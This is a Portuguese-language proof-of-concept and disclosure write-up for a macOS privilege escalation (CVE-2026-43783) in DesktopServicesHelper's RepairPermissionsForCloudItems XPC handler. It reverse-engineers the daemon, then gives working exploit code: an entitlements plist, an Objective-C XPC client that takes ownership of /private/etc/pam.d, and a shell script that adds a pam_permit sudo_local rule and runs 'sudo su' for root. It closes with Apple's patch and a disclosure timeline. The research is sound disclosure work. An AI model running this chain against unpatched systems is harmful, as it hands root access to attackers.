andrd3v/cve-2026-43783Prova de conceito e análise técnica para CVE-2026-43783, uma escalada de privilégios local no macOS via DesktopServicesHelper XPC chown arbitrário para obter root.
O daemon que o Finder usa para "reparar" permissões em arquivos do iCloud acabou se mostrando disposto a reparar permissões em qualquer coisa - incluindo diretórios do sistema. Neste artigo veremos como o DesktopServicesHelper funciona por baixo dos panos e por que uma única requisição XPC foi suficiente para obter root.
Eu estava procurando alvos com com.apple.private.tcc.allow com o valor kTCCServiceSystemPolicyAllFiles e o DesktopServicesHelper chamou minha atenção. O DesktopServicesHelper fica em /System/Library/PrivateFrameworks/DesktopServicesPriv.framework/Versions/A/Resources/DesktopServicesHelper, e o Finder o utiliza para operações de arquivo que exigem privilégios elevados: mover arquivos, definir permissões, trabalhar com a Lixeira.
Carreguei o binário no IDA e fui para start(). Passando pela configuração usual de timer e fila, ele cria um listener XPC - o ponto de entrada do daemon. O listener registra um mach service sob um nome específico e começa a escutar por conexões de entrada. Qualquer processo que conheça esse nome pode se conectar e enviar uma requisição. Aqui está a parte principal:```c
// get the service name
v16 = (const char *)sub_1000709F4(a1: 0);
// register the listener mach_service = xpc_connection_create_mach_service(name: v16, targetq: nullptr, flags: 1u);
// set the incoming event handler xpc_connection_set_event_handler(connection: mach_service, handler: &stru_1000B4B48); xpc_connection_resume(connection: mach_service);
// start the event loop CFRunLoopRun();
A função `sub_1000709F4` retorna o nome do serviço mach. Em `start()`, ela é chamada com o argumento 0, o que significa que o daemon se registra sob o nome `com.apple.DesktopServicesHelper`.```c
const char *__fastcall sub_1000709F4(int a1)
{
if ( a1 != 0 )
return "com.apple.DesktopServicesScriptingHelper";
else
return "com.apple.DesktopServicesHelper";
}
stru_1000B4B48 é um bloco handler (callback) que o daemon invoca para cada evento recebido. O XPC é baseado em mensagens: o cliente constrói um dicionário com chaves e valores, envia-o ao daemon, e o daemon analisa o conteúdo e decide o que fazer. Todos os eventos recebidos acabam neste handler. Vamos olhar para dentro.
A função invoke do bloco é sub_100032044. Numa nova conexão, o daemon primeiro obtém o euid e o egid do cliente - ID efetivo de utilizador e ID de grupo - os identificadores do utilizador e do grupo sob os quais o processo que se conecta é executado:```c
euid = xpc_connection_get_euid(connection: v8);
egid = xpc_connection_get_egid(connection: v8);
sub_100071268(a1: euid, a2: egid);
Em seguida, ele atribui um manipulador para mensagens recebidas na conexão:```c
v15[2] = sub_10003AB2C; // block's invoke function
xpc_connection_set_event_handler(connection: v14, handler: v15);
xpc_connection_resume(connection: v14);
sub_10003AB2C - é aqui que chegam os pedidos XPC reais do cliente. Agora precisamos de perceber como o daemon decide quais pedidos executar e quais rejeitar.
sub_10003AB2C é o dispatcher principal. É aqui que o daemon decide o que fazer com um pedido. A função é grande, por isso vamos decompô-la.
Primeiro, extrai a string "request" da mensagem - o nome do comando que o cliente quer executar:```c
reply = xpc_dictionary_create_reply(original: v12);
string = xpc_dictionary_get_string(xdict: v12, key: "request");
// ...
// logging: "Got Request '%{public}@'"
Em seguida, o daemon recupera o token de auditoria do processo que está a estabelecer a ligação e verifica se este está a ser executado dentro do App Sandbox. O App Sandbox é um mecanismo de isolamento de aplicações do macOS que restringe o acesso ao sistema de ficheiros, à rede e a outros recursos. Aqui é onde se ramifica:```c
xpc_dictionary_get_audit_token(a1: v12, a2: buf);
qmemcpy(__p, buf, sizeof(__p));
if ( (unsigned int)sandbox_check_by_audit_token(a1: __p, a2: 0, a3: 0) != 0 )
{
// client is sandboxed - check against allowlist
if ( (sub_10003B25C(a1: &v32, a2: "Handshake") & 1) == 0
&& (sub_10003B25C(a1: &v32, a2: "exit") & 1) == 0
&& (sub_10003B25C(a1: &v32, a2: "SetDefaultPermissionOnHomeSubdirectories") & 1) == 0
&& (sub_10003B25C(a1: &v32, a2: "MoveAsideICloudToArchiveInHome") & 1) == 0
&& (sub_10003B25C(a1: &v32, a2: "RepairPermissionsForCloudItems") & 1) == 0
&& (sub_10003B25C(a1: &v32, a2: "CopyClientActive") & 1) == 0
&& (sub_10003B25C(a1: &v32, a2: "DeleteItem") & 1) == 0 )
{
sub_100034250(a1: v12, a2: &v32); // not in the list - kill the daemon
}
}
else
{
// client is not sandboxed - check entitlement
*(_QWORD *)buf = sub_1000343C0(a1: v12, a2: CFSTR("com.apple.private.tcc.allow"));
v19 = (const __CFArray *)sub_10003B1E0();
v20 = v19;
if ( v19 == nullptr
|| (v35.length = CFArrayGetCount(theArray: v19),
v35.location = 0,
CFArrayContainsValue(theArray: v20, range: v35, value: CFSTR("kTCCServiceSystemPolicyAllFiles")) == 0) )
{
sub_100034250(a1: v12, a2: &v32); // no entitlement - kill the daemon
}
}
Se o cliente estiver em sandbox - o nome do pedido é verificado contra uma allowlist de sete strings. Se corresponder - a verificação passa e o pedido prossegue. Se não - sub_100034250 mata o daemon.
Se o cliente não estiver em sandbox - o daemon verifica a entitlement com.apple.private.tcc.allow com o valor kTCCServiceSystemPolicyAllFiles. A ausência da entitlement também significa morte.
Após passar na verificação, o pedido atravessa duas tabelas de handlers. Primeiro sub_10002F7C8, depois sub_10002A194:```c
// first table (8 commands, two arguments)
v21 = sub_10002F7C8(a1: buf);
// ...
if ( v21 != 0 )
v22(a1: v12, a2: v11); // found - invoke
// second table (21 commands, three arguments) v27 = sub_10002A194(a1: buf); // ... if ( v27 != nullptr ) v27(a1: v12, a2: reply, a3: v11); // found - invoke
Agora vamos examinar as tabelas de handlers. A primeira tabela (`sub_10002F7C8`):```c
__int64 __fastcall sub_10002F7C8(__int64 a1)
{
__int64 result; // x0
void **v3; // x21
void **v4; // x8
_BYTE v5[32]; // [xsp+8h] [xbp-128h] BYREF
__int64 v6; // [xsp+28h] [xbp-108h] BYREF
__int64 v7; // [xsp+48h] [xbp-E8h] BYREF
__int64 v8; // [xsp+68h] [xbp-C8h] BYREF
__int64 v9; // [xsp+88h] [xbp-A8h] BYREF
__int64 v10; // [xsp+A8h] [xbp-88h] BYREF
__int64 v11; // [xsp+C8h] [xbp-68h] BYREF
__int64 v12; // [xsp+E8h] [xbp-48h] BYREF
__int64 v13; // [xsp+108h] [xbp-28h] BYREF
if ( (atomic_load_explicit((atomic_uchar *volatile)&qword_1000BD8C8, memory_order_acquire) & 1) == 0
&& __cxa_guard_acquire(a1: &qword_1000BD8C8) != 0 )
{
sub_10002AA78(a1: (int)v5, __s: "OperationSizing");
sub_10002AA78(a1: (int)&v6, __s: "SetChildPermissions");
sub_10002AA78(a1: (int)&v7, __s: "RunTrashOperation");
sub_10002AA78(a1: (int)&v8, __s: "ChildCreateLock");
sub_10002AA78(a1: (int)&v9, __s: "RunSetRootMetadata");
sub_10002AA78(a1: (int)&v10, __s: "RunCopyMoveOperation");
sub_10002AA78(a1: (int)&v11, __s: "DeleteBackup");
sub_10002AA78(a1: (int)&v12, __s: "DeleteItem");
sub_10003BDDC(a1: &unk_1000BD8A0, a2: v5, a3: 8);
v3 = (void **)&v13;
do
{
v4 = v3;
v3 -= 4;
if ( *((char *)v4 - 9) < 0 )
operator delete(__p: *v3);
}
while ( v3 != (void **)v5 );
__cxa_guard_release(a1: &qword_1000BD8C8);
}
result = sub_10003BCF0(a1: &unk_1000BD8A0, a2: a1);
if ( result != 0 )
return *(_QWORD *)(result + 40);
return result;
}
Nada de interessante aqui. Oito handlers (OperationSizing, SetChildPermissions, ...), todos protegidos por verificações de entitlement.
Mas há uma segunda tabela - v27 = sub_10002A194(a1: buf):```c
__int64 __fastcall sub_10002A194(__int64 a1)
{
__int64 result; // x0
void **v3; // x21
void **v4; // x8
_BYTE v5[32]; // [xsp+8h] [xbp-2C8h] BYREF
__int64 v6; // [xsp+28h] [xbp-2A8h] BYREF
__int64 v7; // [xsp+48h] [xbp-288h] BYREF
__int64 v8; // [xsp+68h] [xbp-268h] BYREF
__int64 v9; // [xsp+88h] [xbp-248h] BYREF
__int64 v10; // [xsp+A8h] [xbp-228h] BYREF
__int64 v11; // [xsp+C8h] [xbp-208h] BYREF
__int64 v12; // [xsp+E8h] [xbp-1E8h] BYREF
__int64 v13; // [xsp+108h] [xbp-1C8h] BYREF
__int64 v14; // [xsp+128h] [xbp-1A8h] BYREF
__int64 v15; // [xsp+148h] [xbp-188h] BYREF
__int64 v16; // [xsp+168h] [xbp-168h] BYREF
__int64 v17; // [xsp+188h] [xbp-148h] BYREF
__int64 v18; // [xsp+1A8h] [xbp-128h] BYREF
__int64 v19; // [xsp+1C8h] [xbp-108h] BYREF
__int64 v20; // [xsp+1E8h] [xbp-E8h] BYREF
__int64 v21; // [xsp+208h] [xbp-C8h] BYREF
__int64 v22; // [xsp+228h] [xbp-A8h] BYREF
__int64 v23; // [xsp+248h] [xbp-88h] BYREF
__int64 v24; // [xsp+268h] [xbp-68h] BYREF
__int64 v25; // [xsp+288h] [xbp-48h] BYREF
__int64 v26; // [xsp+2A8h] [xbp-28h] BYREF
if ( (atomic_load_explicit((atomic_uchar *volatile)&qword_1000BD898, memory_order_acquire) & 1) == 0 && __cxa_guard_acquire(a1: &qword_1000BD898) != 0 ) { sub_10002AA78(a1: (int)v5, __s: "Handshake"); sub_10002AA78(a1: (int)&v6, __s: "MoveAndRename"); sub_10002AA78(a1: (int)&v7, __s: "SetDefaultPermissionOnHomeSubdirectories"); sub_10002AA78(a1: (int)&v8, __s: "MoveAsideICloudToArchiveInHome"); sub_10002AA78(a1: (int)&v9, __s: "RepairPermissionsForCloudItems"); sub_10002AA78(a1: (int)&v10, __s: "CheckPermissionsForCloudItem"); sub_10002AA78(a1: (int)&v11, __s: "AbortResumableCopy"); sub_10002AA78(a1: (int)&v12, __s: "SetLabel"); sub_10002AA78(a1: (int)&v13, __s: "SetAppCategories"); sub_10002AA78(a1: (int)&v14, __s: "CreateIconFile"); sub_10002AA78(a1: (int)&v15, __s: "RemoveIconFile"); sub_10002AA78(a1: (int)&v16, __s: "RepairTrash"); sub_10002AA78(a1: (int)&v17, __s: "Rename"); sub_10002AA78(a1: (int)&v18, __s: "CreateFolder"); sub_10002AA78(a1: (int)&v19, __s: "CreateAlias"); sub_10002AA78(a1: (int)&v20, __s: "RemoveTrashItemsOlderThanDate"); sub_10002AA78(a1: (int)&v21, __s: "SetTags"); sub_10002AA78(a1: (int)&v22, __s: "cancel"); sub_10002AA78(a1: (int)&v23, __s: "pause"); sub_10002AA78(a1: (int)&v24, __s: "resume"); sub_10002AA78(a1: (int)&v25, __s: "exit"); sub_10003B360(a1: &unk_1000BD870, a2: v5, a3: 21); v3 = (void **)&v26; do { v4 = v3; v3 -= 4; if ( *((char *)v4 - 9) < 0 ) operator delete(__p: *v3); } while ( v3 != (void **)v5 ); __cxa_guard_release(a1: &qword_1000BD898); } result = sub_10003BCF0(a1: &unk_1000BD870, a2: a1); if ( result != 0 ) return *(_QWORD *)(result + 40); return result; }
Isso nos dá 21 handlers. O dispatcher funciona como uma cascata: primeiro ele procura o nome do pedido na primeira tabela (`sub_10002F7C8`, 8 comandos) - estas são operações "fire-and-forget" que recebem a ligação XPC e o peer (objeto cliente), mas não devolvem uma resposta. Se não for encontrado - procura na segunda tabela (`sub_10002A194`, 21 comandos) - estas são operações com resposta, que recebem adicionalmente uma reply (objeto para enviar o resultado de volta ao cliente).
Quase todos os comandos ou não fazem nada de interessante ou estão protegidos por verificações de entitlement. Mas há um que está aberto - `RepairPermissionsForCloudItems`. Vamos encontrar o seu handler. No assembly podemos ver que `sub_10002AA78` recebe um ponteiro de função como seu terceiro argumento:```asm
__text:000000010002A2AC MOV X2, X16
__text:000000010002A2B0 MOV X0, X20 ; int
__text:000000010002A2B4 BL sub_10002AA78
__text:000000010002A2B8 ADD X21, SP, #0x2D0+var_2C8
__text:000000010002A2BC ADD X20, X21, #0x80
__text:000000010002A2C0 ADRL X1, aRepairpermissi ; "RepairPermissionsForCloudItems"
__text:000000010002A2C8 ADRL X16, sub_10002D744
__text:000000010002A2D0 PACIZA X16
RepairPermissionsForCloudItems -> sub_10002D744. Encontramos o único handler acessível a partir do sandbox sem entitlements adicionais. Agora vamos ver o que ele realmente faz com os dados que recebe.
O handler sub_10002D744 faz três coisas. Primeiro, ele extrai a chave "Paths" da mensagem XPC e a desserializa via NSKeyedUnarchiver em um array de strings:```c
v8 = objc_claimAutoreleasedReturnValue((id)sub_100028810(a1: v5, a2: "Paths"));
v9 = objc_claimAutoreleasedReturnValue(
+[NSKeyedUnarchiver unarchivedArrayOfObjectsOfClass:fromData:error:](
&OBJC_CLASS___NSKeyedUnarchiver,
"unarchivedArrayOfObjectsOfClass:fromData:error:",
objc_opt_class(a1: &OBJC_CLASS___NSString),
v8,
&v25));
Em seguida, passa cada caminho para `sub_100029CE4` através de `sub_100034B5C` para determinar se é necessário "reparar". Para os caminhos que precisam de reparação, chama `sub_10002A11C`:```c
sub_100034B5C(a1: v22, a2: v24, a3: sub_100029CE4);
if ( v22[0] != v22[1] )
sub_10002A11C(a1: v5, a2: v22);
Não há validação de caminho: tudo o que é passado é processado. A função sub_100029CE4 verifica se "repair" é necessário. Aqui está a lógica principal:```c
v3 = lstat(a1: v2, a2: &v28);
// ...
if ( (v28.st_mode & 0xF000) != 0x4000 && v28.st_nlink > 1u )
return false; // not a directory + hardlinks > 1 - skip
v6 = sub_100071288(a1: v4); // get caller's UID
if ( v28.st_uid != v6 )
return true; // owner doesn't match - repair needed
A lógica de verificação:```
lstat(path)
|
+- not a directory && hardlinks > 1 ?
| +- yes -> false (skip)
|
+- st_uid == our UID ?
| +- yes -> false (owner matches, no repair needed)
| +- no -> true (repair needed)
|
+- directory ?
+- yes -> recurse into contents
Para caminhos que precisam de reparo, sub_10002A11C é chamada - um loop simples que itera sobre os resultados e chama sub_100029440 para cada um. Aqui está a lógica principal de sub_100029440:```c
fd = open(path, 0x200000);
fstat(fd, &st);
// only check: not a directory + hardlinks >= 2 - skip if ( (st.st_mode & 0xF000) != 0x4000 && st.st_nlink >= 2u ) return close(fd);
// get caller's UID (ours - 501) caller_uid = sub_100071288();
// owner doesn't match - change to ours if ( st.st_uid != caller_uid ) fchown(fd, caller_uid, st.st_gid);
close(fd);
// if directory - recursively call itself for each item if ( (st.st_mode & 0xF000) == 0x4000 ) sub_100029440(child_path);
É isso. O daemon chama `fchown` em qualquer caminho fornecido, sem verificar se ele reside em `~/Library/Mobile Documents/` ou em qualquer contêiner do iCloud. E se o caminho for um diretório, a função percorre recursivamente todo o seu conteúdo e chama `fchown` em cada item.
Leia isso de novo. Deixe absorver. Passe qualquer diretório - e você possui todo o seu conteúdo.
## Resumo
A cadeia completa da requisição XPC até `fchown`:```
Sandboxed app
|
+- xpc_connection_create_mach_service("com.apple.DesktopServicesHelper")
|
+- xpc_dictionary: "request" = "RepairPermissionsForCloudItems"
| "Paths" = ["/private/etc/pam.d"]
|
+- send --> DesktopServicesHelper (root)
|
+- sandbox_check: client sandboxed? -> yes
+- allowlist: RepairPermissionsForCloudItems? -> yes, pass through
+- NSKeyedUnarchiver: extract paths
+- lstat: st_uid != caller_uid? -> yes, repair needed
+- fchown(path, 501, gid) <- arbitrary path, no validation
Uma solicitação XPC - e qualquer arquivo ou diretório é nosso.
Então temos um chown arbitrário em qualquer caminho no disco. Agora só precisamos transformá-lo em root.
No macOS, a autenticação passa pelo PAM. As configurações estão em /private/etc/pam.d/ - um arquivo por programa que verifica senhas: sudo, login, su, etc. O diretório pertence a root:wheel. Então podemos tomar posse dele com nosso chown. Depois disso, somos livres para criar o arquivo /private/etc/pam.d/sudo_local com uma única linha:```
auth sufficient pam_permit.so
`pam_permit.so` é um módulo PAM que sempre retorna sucesso. O `sudo` verifica `sudo_local` antes da configuração principal. Resultado: o `sudo` deixa de pedir senha.
Mas há um porém. Não é possível simplesmente conectar-se ao `com.apple.DesktopServicesHelper` a partir do sandbox: o sandbox bloqueia o mach-lookup para este serviço por padrão. Mas o próprio daemon verifica que o processo chamador está em sandbox - e só então permite que `RepairPermissionsForCloudItems` passe sem uma verificação de entitlement. A ironia: o sandbox aqui não é uma defesa - é um passe.
Para contornar o mach-lookup do sandbox, precisamos do entitlement `com.apple.security.temporary-exception.mach-lookup.global-name`. Aqui está o conjunto mínimo de entitlements para a aplicação PoC:```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>com.apple.security.app-sandbox</key>
<true/>
<key>com.apple.security.temporary-exception.mach-lookup.global-name</key>
<array>
<string>com.apple.DesktopServicesHelper</string>
</array>
</dict>
</plist>
Duas entitlements.
com.apple.security.app-sandbox - ativa o sandbox (sem ele o daemon exigiria uma entitlement TCC e rejeitar-nos-ia).
com.apple.security.temporary-exception.mach-lookup.global-name - uma entitlement de exceção do sandbox.
O sandbox não permite conexões a todos os serviços mach, e com.apple.DesktopServicesHelper não está na lista de permitidos. Esta chave adiciona uma exceção para um serviço específico. É tudo o que precisamos. O código vai diretamente para ViewController.m. O método principal é chownPath:, que se liga ao daemon e envia o pedido:```objc
(void)chownPath:(NSString *)path { xpc_connection_t conn = xpc_connection_create_mach_service( "com.apple.DesktopServicesHelper", NULL, 0); if (!conn) return;
xpc_connection_set_event_handler(conn, ^(xpc_object_t event) {}); xpc_connection_resume(conn);
NSData *archived = [NSKeyedArchiver archivedDataWithRootObject:@[ path ] requiringSecureCoding:YES error:nil];
xpc_object_t msg = xpc_dictionary_create(NULL, NULL, 0); xpc_dictionary_set_string(msg, "request", "RepairPermissionsForCloudItems"); xpc_dictionary_set_data(msg, "Paths", archived.bytes, archived.length);
xpc_connection_send_message_with_reply_sync(conn, msg); }
Conectamo-nos a `com.apple.DesktopServicesHelper`, arquivamos o caminho num `NSArray` via `NSKeyedArchiver` (como o daemon espera), construímos um dicionário XPC com a chave `"request"` = `"RepairPermissionsForCloudItems"`, e enviamo-lo.
No arranque da app, chamamos `chownPath:` em `/private/etc/pam.d` e verificamos o resultado:```objc
- (void)runExploit
{
[self chownPath:@"/private/etc/pam.d"];
usleep(200000);
struct stat st;
if (lstat("/private/etc/pam.d", &st) != 0) return;
if (st.st_uid == getuid())
NSLog(@"ok");
}
200ms de espera, depois lstat - se o proprietário mudou para o nosso UID, o chown foi bem-sucedido.
Agora vamos juntar tudo. O script shell lança a aplicação PoC, espera que o daemon faça o seu trabalho, verifica se o chown foi bem-sucedido, escreve a regra PAM e obtém root:```sh
#!/bin/sh
set -e
PAM_DIR="/private/etc/pam.d" SUDO_LOCAL="$PAM_DIR/sudo_local"
./poc.app/Contents/MacOS/poc & POC_PID=$! sleep 4 kill $POC_PID 2>/dev/null || true wait $POC_PID 2>/dev/null || true
if [ "$(stat -f %u "$PAM_DIR")" != "$(id -u)" ]; then echo "chown failed" exit 1 fi
echo 'auth sufficient pam_permit.so' > "$SUDO_LOCAL" chmod 644 "$SUDO_LOCAL"
sudo id sudo su
## Patch da Apple
A Apple adicionou uma verificação de entitlement logo no início do handler `RepairPermissionsForCloudItems`:```c
if ( (sub_100034110(a1: v5,
a2: CFSTR("com.apple.private.desktopservices.cloud-repair-perm")) & 1) == 0 )
{
sub_100034250(a1: v5, a2: v22); // no entitlement - kill the daemon
}
Agora apenas processos com o entitlement privado com.apple.private.desktopservices.cloud-repair-perm podem invocar RepairPermissionsForCloudItems. Sem ele - sub_100034250 mata o daemon. O restante da lógica da função permanece inalterado.
| Data | Evento |
|---|---|
| 05/09/2026 | Relatório enviado ao Apple Product Security |
| 05/11/2026 | Apple moveu o relatório para revisão |
Obrigado pela leitura, boas caçadas de bugs!
| 05/13/2026 | Apple reproduziu o bug, agendou correção para o outono |
| 05/26/2026 | Patch no macOS 26.6 beta 1 |
| 08/11/2026 | Atribuído CVE-2026-43783 |